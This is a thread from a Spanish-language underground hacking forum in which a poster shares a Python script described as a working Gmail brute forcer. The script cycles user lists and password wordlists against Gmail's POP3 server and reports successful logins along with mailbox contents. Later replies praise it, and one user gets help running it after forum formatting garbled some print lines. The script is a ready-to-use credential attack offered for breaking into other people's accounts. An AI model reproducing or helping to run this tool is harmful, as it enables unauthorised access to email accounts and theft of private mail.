Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 07, 2008, 04:09:30
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Otros Lenguajes  |  Tema: ||| Gmail Brute Forcer ||| 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: ||| Gmail Brute Forcer |||  (Leído 290 veces)
rukawa
Visitante
« en: Diciembre 10, 2007, 08:37:12 »

Encontre este brute forcer para gmail, lo probe y funciona.

Pruebenlo y me cuentan que tal.

#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
    print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
    print "\t   --------------------------------------------------\n"
    print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
    sys.exit(1)
   
server = "pop.gmail.com"
success = []

try:
      users = open(sys.argv[1], "r").readlines()
except(IOError):
      print "[-] Error: Check your userlist path\n"
      sys.exit(1)
 
try:
      words = open(sys.argv[2], "r").readlines()
except(IOError):
      print "[-] Error: Check your wordlist path\n"
      sys.exit(1)
   
try:
    pop = poplib.POP3_SSL(server, 995)
    welcome = pop.getwelcome()
    pop.quit()
except (poplib.error_proto):
    welcome = "No Response"
    pass

print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t   --------------------------------------------------\n"
print "
  • Server:",server
print "
  • Port: 995"
print "
  • Users Loaded:",len(users)
print "
  • Words Loaded:",len(words)
print "
  • Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])   
    else:
        print "\n[-] Reloading Wordlist - Changing User\n"
        reloader()
        value = random.sample(words,  1)
        users.remove(users[0])
       
    lock.release()
    if len(users) ==1:
        return value[0][:-1], users[0]
    else:
        return value[0][:-1], users[0][:-1]
       
class Worker(threading.Thread):
   
    def run(self):
        value, user = getword()
       
        try:
            print "-"*30
            print "
  • User:",user,"Password:",value
            pop = poplib.POP3_SSL(server, 995)
            pop.user(user)
            pop.pass_(value)
            print "\t\t\n\nLogin successful:",user, value
            print "\t\tMail:",pop.stat()[0],"emails"
            print "\t\tSize:",pop.stat()[1],"bytes\n\n"
            success.append(user)
            success.append(value)
            success.append(pop.stat()[0])
            success.append(pop.stat()[1])
            pop.quit()
        except (poplib.error_proto), msg:
            #print "An error occurred:", msg
            pass

for i in range(len(words)*len(users)):
    work = Worker()
    work.start()
    time.sleep(1)
if len(success) >=1:
    print "\n\n
  • Login successful:",success[0], success[1]
    print "\t
  • Mail:",success[2],"emails"
    print "\t
  • Size:",success[3],"bytes\n"
print "\n[-] Done\n"



salud
« Última modificación: Diciembre 10, 2007, 08:37:33 por SιdVιcιoцs » En línea
The Shadow (Vacaciones)
Moderación
Colaborador
*****
Desconectado Desconectado

Mensajes: 754


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #1 en: Diciembre 11, 2007, 09:25:31 »

excelente aporte sid..!

brindis
En línea





Reglamento del Foro     Linux  Registered User #473016
sickpsique
Habitual
*****
Desconectado Desconectado

Mensajes: 236


__panzer-division__

388419209 deformus@hotmail.com
Ver Perfil WWW Email
« Respuesta #2 en: Enero 05, 2008, 07:23:23 »

Me parece bien pero........en que lo ejecuto o compilo no reconosco más que algunas sentencias pero otras no
Gracias
En línea

NO DEAD LINKS, NO BULLSHIT !!
Difícil saber si les gusta lo que posteo, una respuesta estaría bien
ayahora
Recien Llegado
*
Desconectado Desconectado

Mensajes: 5


Ver Perfil
« Respuesta #3 en: Enero 05, 2008, 07:41:34 »

Citar
Me parece bien pero........en que lo ejecuto o compilo no reconosco más que algunas sentencias pero otras no
Gracias

Citar
#!usr/bin/python

En Python.

salu2  Wink
En línea
sickpsique
Habitual
*****
Desconectado Desconectado

Mensajes: 236


__panzer-division__

388419209 deformus@hotmail.com
Ver Perfil WWW Email
« Respuesta #4 en: Enero 06, 2008, 06:27:20 »

excelente aporte sid..!

brindis

Ok ! gracias por responder los he tratando de correr en mi IDLE python pero me marca error en estos:

    *  Server:",server  <--Estos asteríscos son apuntadores o son errores del foro que convierte caractéres a símbolos porque allí es donde me marca esos errores...

print "

    * Port: 995"

print "

    * Users Loaded:",len(users)

print "

    * Words Loaded:",len(words)

print "

    * Server response:",welcome,"\n"

Pueden ayudarme con eso Huh
En línea

NO DEAD LINKS, NO BULLSHIT !!
Difícil saber si les gusta lo que posteo, una respuesta estaría bien
SaTeLuCo
Moderación
Colaborador
*****
Desconectado Desconectado

Mensajes: 445


Ver Perfil WWW
« Respuesta #5 en: Enero 06, 2008, 06:47:22 »

Errores amigo, solo borralos
En línea



Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Otros Lenguajes  |  Tema: ||| Gmail Brute Forcer ||| « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC